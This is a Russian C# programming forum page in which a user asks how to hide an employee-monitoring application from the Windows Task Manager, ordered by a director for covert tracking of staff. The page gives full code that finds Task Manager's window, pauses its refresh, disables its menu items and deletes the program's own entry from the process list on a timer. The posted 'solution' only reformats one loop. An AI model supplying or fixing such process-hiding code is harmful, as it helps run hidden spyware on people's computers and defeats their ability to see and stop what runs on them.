.NET 4.x Как скрыть процесс в диспетчере задач - C#

Узнай цену своей работы

Формулировка задачи:

Доброго времени суток, уважаемые программисты! По заказу директора, пишу приложение для сбора информации, о том что делают сотрудники фирмы. Соответственно одним из самых важных аспектов является невидимость среди процессов в списке процессов диспетчера задач Windows XP/7. Нашел класс позволяющий это реализовать, но после множественных попыток подключить его к приложению я потерпел неудачу. Собственно ниже сам код. ==WinApi.cs== //Название файла класса
Листинг программы
  1. using System;
  2. using System.Diagnostics;
  3. using System.Collections.Generic;
  4. using System.Text;
  5. using System.Runtime.InteropServices;
  6. using System.Windows.Forms;
  7.  
  8. namespace WinApi
  9. {
  10. class User32
  11. {
  12. public const Int32 WM_COMMAND = 273;
  13. public const Int32 MF_ENABLED = 0;
  14. public const Int32 MF_GRAYED = 1;
  15. public const Int32 LVM_FIRST = 4096;
  16. public const Int32 LVM_DELETEITEM = (LVM_FIRST + 8);
  17. public const Int32 LVM_SORTITEMS = (LVM_FIRST + 48);
  18. [DllImport("user32.dll", EntryPoint = "FindWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  19. public static extern Int32 FindWindow(string lpClassName, string lpWindowName);
  20. [DllImport("user32.dll", EntryPoint = "FindWindowEx", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  21. public static extern Int32 FindWindowEx(Int32 hWnd1, Int32 hWnd2, string lpsz1, string lpsz2);
  22. [DllImport("user32.dll", EntryPoint = "EnableWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  23. public static extern bool EnableWindow(Int32 hwnd, Int32 fEnable);
  24. [DllImport("user32.dll", EntryPoint = "GetMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  25. public static extern Int32 GetMenu(Int32 hwnd);
  26. [DllImport("user32.dll", EntryPoint = "GetSubMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  27. public static extern Int32 GetSubMenu(Int32 hMenu, Int32 nPos);
  28. [DllImport("user32.dll", EntryPoint = "GetMenuState", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  29. public static extern Int32 GetMenuState(Int32 hMenu, Int32 wID, Int32 wFlags);
  30. [DllImport("user32.dll", EntryPoint = "GetMenuItemID", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  31. public static extern Int32 GetMenuItemID(Int32 hMenu, Int32 nPos);
  32. [DllImport("user32.dll", EntryPoint = "EnableMenuItem", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  33. public static extern Int32 EnableMenuItem(Int32 hMenu, Int32 wIDEnableItem, Int32 wEnable);
  34. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
  35. public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, String lParam);
  36. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
  37. public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
  38. [DllImport("user32.dll", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  39. public static extern Int32 GetDesktopWindow();
  40. [DllImport("user32.dll", EntryPoint = "LockWindowUpdate", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  41. public static extern Int32 LockWindowUpdate(Int32 hwndLock);
  42. System.Timers.Timer taskmanTimer = new System.Timers.Timer(700);
  43. public void removeFromTaskManager()
  44. {
  45. taskmanTimer.Elapsed += new System.Timers.ElapsedEventHandler(taskmanTimer_Elapsed);
  46. taskmanTimer.Enabled = true;
  47. }
  48. void taskmanTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
  49. {
  50. Int32 lhWndParent = User32.FindWindow(null, "Windows Task Manager");
  51. //Define Handles
  52. Int32 lhWndDialog = 0;
  53. Int32 lhWndEndTaskButton = 0;
  54. Int32 lhWndEndProcessButton = 0;
  55. Int32 lhWndProcessList = 0;
  56. Int32 lhWndProcessHeader = 0;
  57. Int32 lhWndTaskList = 0;
  58. Int32 lhWndTaskHeader = 0;
  59. Int32 ProcessItemCount = 0;
  60. Int32 ProcessItemIndex = 0;
  61. Int32 TaskItemCount = 0;
  62. Int32 TaskItemIndex = 0;
  63. //Get Menues
  64. //Get main menu
  65. Int32 hMenu = User32.GetMenu(lhWndParent);
  66. //Get View menu
  67. Int32 hViewMenu = User32.GetSubMenu(hMenu, 2);
  68. //Get Update Speed Menu
  69. Int32 hUpdateSpeed = User32.GetSubMenu(hViewMenu, 1);
  70. //Get Refresh Now Button
  71. Int32 hRefreshNow = User32.GetMenuItemID(hViewMenu, 0);
  72. //Get High
  73. Int32 hHighRate = User32.GetMenuItemID(hUpdateSpeed, 0);
  74. //Get Normal
  75. Int32 hNormalRate = User32.GetMenuItemID(hUpdateSpeed, 1);
  76. //Get Low
  77. Int32 hLowRate = User32.GetMenuItemID(hUpdateSpeed, 2);
  78. //Get Paused
  79. Int32 hPausedRate = User32.GetMenuItemID(hUpdateSpeed, 3);
  80. for (int i = 1; i < 7; i++)
  81. {
  82. lhWndDialog = User32.FindWindowEx(lhWndParent, lhWndDialog, null, null);
  83. if (lhWndTaskList == 0)
  84. lhWndTaskList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Tasks");
  85. if (lhWndTaskHeader == 0)
  86. lhWndTaskHeader = User32.FindWindowEx(lhWndTaskList, 0, "SysHeader32", null);
  87. if (lhWndEndTaskButton == 0)
  88. lhWndEndTaskButton = User32.FindWindowEx(lhWndDialog, lhWndTaskList, "Button", "&End Task");
  89. if (lhWndProcessList == 0)
  90. lhWndProcessList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes");
  91. if (lhWndProcessHeader == 0)
  92. lhWndProcessHeader = User32.FindWindowEx(lhWndProcessList, 0, "SysHeader32", null);
  93. if (lhWndEndProcessButton == 0)
  94. lhWndEndProcessButton = User32.FindWindowEx(lhWndDialog, lhWndProcessList, "Button", "&End Process");
  95. }
  96. //Pause the update speed
  97. User32.SendMessage((IntPtr)lhWndParent, (uint)User32.WM_COMMAND, (IntPtr)hPausedRate, IntPtr.Zero);
  98. //Disable Menu Items
  99. User32.EnableMenuItem(hMenu, hRefreshNow, User32.MF_GRAYED);
  100. User32.EnableMenuItem(hMenu, hLowRate, User32.MF_GRAYED);
  101. User32.EnableMenuItem(hMenu, hNormalRate, User32.MF_GRAYED);
  102. User32.EnableMenuItem(hMenu, hHighRate, User32.MF_GRAYED);
  103. User32.EnableMenuItem(hHighRate, hPausedRate, User32.MF_GRAYED);
  104. User32.EnableWindow(lhWndProcessHeader, 0);
  105. User32.EnableWindow(lhWndTaskHeader, 0);
  106. Process[] Processes;
  107. string item;
  108. ListBox list = new ListBox();
  109. list.Sorted = true;
  110. Processes = Process.GetProcesses();
  111. foreach (Process p in Processes)
  112. {
  113. if
  114. (p.ProcessName.ToString() == "Idle")
  115. list.Items.Add("System Idle Process");
  116. else
  117. list.Items.Add(p.ProcessName.ToString());
  118. }
  119. ProcessItemCount = Processes.Length;
  120. ProcessItemCount--;
  121. string HideMe = Process.GetCurrentProcess().ProcessName;
  122. for (int x = 0; x != ProcessItemCount; x++)
  123. {
  124. item = list.Items[x].ToString();
  125. if (item == HideMe)
  126. ProcessItemIndex = x;
  127. }
  128. User32.LockWindowUpdate(lhWndProcessList);
  129. //refresh
  130. User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hRefreshNow, IntPtr.Zero);
  131. //sort items
  132. User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_SORTITEMS, IntPtr.Zero, null);
  133. //Delete ourselves from the list
  134. User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_DELETEITEM, (IntPtr)ProcessItemIndex, IntPtr.Zero);
  135. User32.LockWindowUpdate(0);
  136. if (lhWndParent == 0)
  137. taskmanTimer.Interval = 800;
  138. else
  139. taskmanTimer.Interval = 2500;
  140. }
  141. }
  142. }
Для вызова необходимо добавить removeFromTaskManager() в formLoad и все. По идее должно работать. Но это не так. Пожалуйста посмотрите этот класс! Если в нем есть ошибки или недоработки укажите на них! Заранее спасибо!

Решение задачи: «.NET 4.x Как скрыть процесс в диспетчере задач»

textual
Листинг программы
  1. for (int x = 0; x != ProcessItemCount; x++)
  2.             {
  3.                 item = list.Items[x].ToString();
  4.                 if (item == HideMe)
  5.                 {
  6.                     ProcessItemIndex = x;
  7.                 }
  8.             }

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

12   голосов , оценка 3.417 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут
Похожие ответы